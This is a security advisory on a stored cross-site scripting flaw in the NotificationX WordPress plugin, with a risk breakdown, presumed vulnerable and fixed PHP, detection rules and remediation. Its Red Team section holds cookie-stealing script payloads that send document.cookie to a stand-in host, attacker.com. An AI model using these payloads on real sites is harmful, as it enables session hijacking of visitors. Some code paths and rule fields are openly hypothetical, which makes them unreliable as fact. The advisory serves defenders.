CVE-2024-11727

POC_DETAILS: None

Executive Summary

CVE-2024-11727 is a Stored Cross-Site Scripting (XSS) vulnerability in the NotificationX – Live Sales Notification WordPress plugin, affecting all versions up to and including 2.9.3. The flaw resides in the plugin’s content settings for notifications, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site WordPress installations or environments where the unfiltered_html capability has been disabled. Given the high privileges required (admin), the CVSS score is 4.4 (Medium), but the impact is amplified in multi-site contexts where a single compromised admin can affect all subsites. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. Since no patch exists, administrators must consider disabling the plugin or implementing strict access controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Administrator-level access required.
• User Interaction: Required (UI:R) – Victim must visit the injected page.
• Scope: Changed (S:C) – Vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires admin credentials, but in multi-site environments, a single compromised admin can inject malicious scripts across all subsites, leading to session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability exists in the NotificationX plugin’s notification content settings. The plugin allows administrators to customize notification messages (e.g., sales popups, announcement banners) via a settings panel. The input fields for these messages are not properly sanitized or escaped before being stored in the WordPress database. When the notification is rendered on the frontend, the unsanitized content is output directly, allowing stored XSS.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, failing to strip dangerous HTML/JavaScript. In WordPress, the unfiltered_html capability (granted to Super Admins by default) allows users to post unfiltered HTML. On multi-site installations, this capability is often disabled for security reasons, making the plugin’s lack of sanitization exploitable.

Attack Flow:

1. Attacker gains admin access to a WordPress multi-site network.
2. Attacker navigates to NotificationX settings and injects malicious JavaScript into a notification content field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. When any user (including lower-privileged users or visitors) views a page containing the notification, the script executes in their browser.

Affected Component: notificationx plugin, specifically the settings handling for notification content (likely in admin/class-notificationx-admin.php or similar).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s admin settings handler. A typical vulnerable pattern would be:

Vulnerable Code (PHP):

// In admin settings save function
$content = $_POST['notification_content'];
update_option('notificationx_content', $content);

Patched Code (Hypothetical):

$content = sanitize_text_field($_POST['notification_content']);
update_option('notificationx_content', $content);

Or, for rich content:

$allowed_html = array('a' => array('href' => array()), 'strong' => array());
$content = wp_kses($_POST['notification_content'], $allowed_html);
update_option('notificationx_content', $content);

Without a vendor patch, users must manually apply input sanitization or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials on a WordPress multi-site installation.
• NotificationX plugin version <= 2.9.3 active.
• unfiltered_html disabled (default for non-Super Admins on multi-site).

Steps:

1. Log in as an admin.
2. Navigate to NotificationX > Settings.
3. In the "Notification Content" field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save settings.
5. Any user visiting a page with the notification will trigger the script.

Alternative Payload (Stealth):

<img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie">

Blue Team

Detection:

• Monitor for admin-level changes to NotificationX settings.
• Look for suspicious content in wp_options table where option_name like %notificationx%.
• Use file integrity monitoring to detect plugin file modifications.

Hunting:

• Search for <script> tags in the wp_options table:

  SELECT * FROM wp_options WHERE option_name LIKE '%notificationx%' AND option_value LIKE '%<script%';
  

• Review admin activity logs for unusual settings changes.

Indicators of Compromise (IOCs)

• File Hashes (Plugin): (No specific hashes available; check plugin version)
• Database Entries: wp_options rows with option_name containing notificationx and option_value containing JavaScript.
• Network Traffic: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress debug log entries showing unexpected script execution.

Detection Engineering

YARA Rule

rule CVE_2024_11727_NotificationX_XSS {
    meta:
        description = "Detects stored XSS payloads in NotificationX plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11727"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $img_onerror = /<img[^>]+onerror\s*=/i
        $svg_onload = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: NotificationX Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in NotificationX plugin settings
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress option update
        OptionName|contains: notificationx
        OptionValue|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in notifications (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11727 NotificationX Stored XSS Payload"; flow:to_server,established; content:"notificationx"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict admin access to only trusted users.
3. Enable unfiltered_html only for Super Admins (default on single-site, but risky).
4. Implement Web Application Firewall (WAF) rules to block XSS payloads in POST requests to wp-admin/admin.php?page=notificationx.

Long-term:

• Monitor the plugin’s repository for updates.
• Consider replacing with an alternative plugin that follows secure coding practices.
• Conduct regular security audits of all WordPress plugins.

Workaround (Code-Level): Add a custom filter to sanitize the option before saving:

add_filter('pre_update_option_notificationx_content', function($value) {
    return wp_kses_post($value);
});

Valters IT
Securing Digital Frontiers